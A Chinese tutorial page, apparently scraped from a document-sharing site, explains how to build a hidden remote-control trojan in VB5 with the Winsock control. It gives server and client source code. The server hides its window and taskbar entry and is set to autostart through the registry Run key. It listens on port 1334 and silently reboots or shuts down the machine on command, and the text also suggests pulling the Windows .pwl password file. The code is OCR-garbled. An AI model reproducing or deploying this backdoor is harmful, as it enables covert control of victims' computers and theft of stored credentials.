版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、 VB 中Winsock 控件的使用-前一段时间,一个名叫Y AI 的病毒在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCPIP协议的Winsock 控件,利用他改改属性,写几段代码,我们同样可以来一回Y AI. 由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock 控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock 控
2、件添加到工具箱中了。远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端-也就是被控制的一方,另一部分是客户端-控制方。服务器程序要守侯在一个固定或不固定的网址(IP上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock 属性时,服务器端应设置LocalPort 和应用Listen 方法进行监听,客户程序则要设置RemoteHost 和RemotePort 及应用Connect 方法请求连接,并用Senddata 方法互换信息。下面是Winsock 控件的相关属性,方法和事件
3、。(略去一些暂用不到的*属性-LocalHostName | 本地机器名LocalIP | 本地机器IP 地址LocalPort | 本地机器通信程序的端口(0<端口<65536RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明Protocal | 使用TCP 或UDP 协议(这里我们选0-sckTCPProtocal -*方法-ListenListen 方法用于服务器程序,等待客户访问。格式:Winsock 对象.listenConnectConnect 方法用于向远程主机发出连接请求格式:Winso
4、ck 对象.connect 远程主机IP, 远程端口AcceptAccept 方法用于接受一个连接请求格式:Winsock 对象.accept Request IDSenddata此方法用于发送数据 格式:Winsock 对象.senddata 数据Getdata用来取得接收到的数据格式:Winsock 对象.getdata 变量 ,数据类型 ,最大长度Close关闭当前连接格式:Winsock 对象.close*事件-Close | 远程机器关闭连接时触发Connect | 连接建立好,可以进行通信时触发(客户端ConnectRequest | 有请求连接到达时产生(服务器端DataArri
5、val | 有数据到达时触发Error | 发生错误时发生SendProgress | 数据传送进度-程序代码如下:-服务器端程序(server.exe先在窗体中放置Winsock 控件(他在运行时是看不见的 ,属性采用默认值, 再设置Form1的属性ShowInTaskBar 为False,Visible 为False(这样才有隐蔽性嘛. 对于程序的自启动可手工在注册表“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”中增加键值"winserver"="c:windowsserver.exe&
6、quot;或配置文件Win.ini 的Load,run 写入"C:windowsserver.exe"来达到目的。当然也可通过在VB5中调用API 函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load(On Error GoTo skip 注释:如此端口已有通信程序则退出Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值 Winsock1.ListenExit Subskip:If Err.Number = 10048 ThenMsgBox "
7、端口冲突,退出!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub Winsock1_Close(If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Listen 注释:关闭连接后继续监听End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As LongIf Winsock1.State <> sckClosed Then Winsock1.CloseWinsoc
8、k1.Accept requestID 注释:请求到达时,接受连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As LongDim strget As StringDim ccom As StringWinsock1.GetData strget 注释:读取到达的数据Select Case strgetCase "a" 注释:判断到达的数据是否a ,是则重启,你也可自己定义(协议就是这样产生的ccom = curr_win( + "RUNDLL.EXE user.exe,exitwindowse
9、xec" 注释:不同机器设置不一样 Call Shell(ccom, vbHide 注释:由函数curr_win(来判断Case "b" 注释:如为b 则关闭计算机ccom = curr_win( + "RUNDLL.EXE user.exe,exitwindows"Call Shell(ccom, vbHide 注释:函数shell 来执行命令Case Else 注释:可以在此加入其他命令End SelectEnd SubFunction curr_win( As StringDim i As IntegerDim enstr As Stri
10、ngi = 1 注释:此函数通过读取环境变量来获得Windows 目录enstr = Environ(iDo While enstr <> ""If Len(enstr > 11 ThenIf Left(enstr, 11 = "winbootdir=" Thencurr_win = Right(enstr, Len(enstr - 11Exit DoEnd IfEnd Ifi = i + 1enstr = Environ(iLoopEnd FunctionPrivate Sub Winsock1_Error(ByVal Number
11、As Integer, Description As String, ByValScode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As BooleanMsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出 EndEnd Sub-客户端程序(Client.exe程序界面如图control.jpg防入四个命令按钮,一个标题框,一个Winsock 控件, 其属性设置
12、如下:- -控件名 | 控件类 | 属性 | 属性值-closewin_but | commandbutton | caption | 远程关闭startwin_but | commandbutton | caption | 远程重启connect_but | commandbutton | caption | 连接exit_but | commandbutton | caption | 退出state_lab | label | borderstyle | 1-代码如下:Private Sub Form_Load(Winsock1.LocalPort = 22226 注释:本地端口可任选,只
13、要不冲突且小于65535,用 注释:netstat -an命令可查看当前通信进程Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP 将对本机操作,实际应用时可 注释:换上被控方IPWinsock1.RemotePort = 1334 注释:对应服务器端的localportstate_lab = "未建立连接."End SubPrivate Sub closewin_but_Click(If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接
14、"ElseWinsock1.SendData "b" 注释:发出关闭命令End IfEnd SubPrivate Sub startwin_but_Click(If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "a" 注释:发出重启命令End IfEnd SubPrivate Sub connect_but_Click( On Error GoTo skipIf Winsock1.State = sckC
15、onnected Thenstate_lab = "已建立连接了"ElseWinsock1.ConnectEnd IfExit Subskip: 注释:用netstat 命令看到状态为Time_wait则If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一注释:端口,可加快连接速度MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub exit_but_Click(Winsock1.Close 注释:关闭连接且退出E
16、ndEnd SubPrivate Sub Winsock1_Connect(state_lab = "建立连接成功!可发送命令."End SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String,ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As BooleanMsgBox "错误", vbOKOnly, "注意!"EndEnd Sub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如文件的下载,可先让客户程序发一命令字串注释:cc:windowslzh.pwl注释:, 服务器接收到命令字串后判断出首字母c 为下载命令,则将所指定的命令文件注释:c:windowslzh.pwl注释:传送给客户端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过在服务器端产生多个Winsock 实例来接受请求.*
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026南非广告传媒行业文化多样性内容创新市场竞争格局研究报告
- 2026人工智能教育服务行业市场规模前景与投资策略研究报告
- 2026人工智能机器视觉产业链全球市场供需态势及前景调研分析报告
- (正式版)DB11∕T 2245-2024 《地震灾害风险调查 房屋建筑》
- 2026中国新型涂料环保材料行业市场现状供需分析及投资评估规划分析研究报告
- 2026中国制药企业研发行业市场现状供需分析及投资评估规划分析研究报告
- 2025~2026学年广东中山市共进联盟九年级下学期3月阶段自测化学试卷
- 2025~2026学年天津市武清区杨村光明道中学九年级下学期结课考试化学试卷
- 2025~2026学年上海市八年级下学期期中质量调研化学试卷
- 2026商业地产市场详细分析及租赁模式与区域经济策略研究
- 2026年中小学教师(语文)副高级职称评审答辩题库及答案
- 学校管理与教师专业发展手册
- 初中音乐七年级上册《美丽的草原我的家》深度鉴赏与跨文化理解教案
- 2026秋新人教版英语五年级上册单元一Unit 1 Different friends测试卷-提高卷附答案(文档中已插入听力音频)
- 2026广西南宁市青秀区伶俐镇人民政府招聘2人(劳务派遣)笔试参考题库及答案详解
- 2026年餐饮服务食品安全管理员试题及答案
- GB/T 47950-2026资产管理数据资产登记指南
- 2026版《医师外出会诊管理暂行规定》课件
- 影像医学技术操作规程大全
- 2026年河南高考地理考试试卷及答案
- 中国老年抗中性粒细胞胞浆抗体相关肾小球肾炎治疗指南总结2026
评论
0/150
提交评论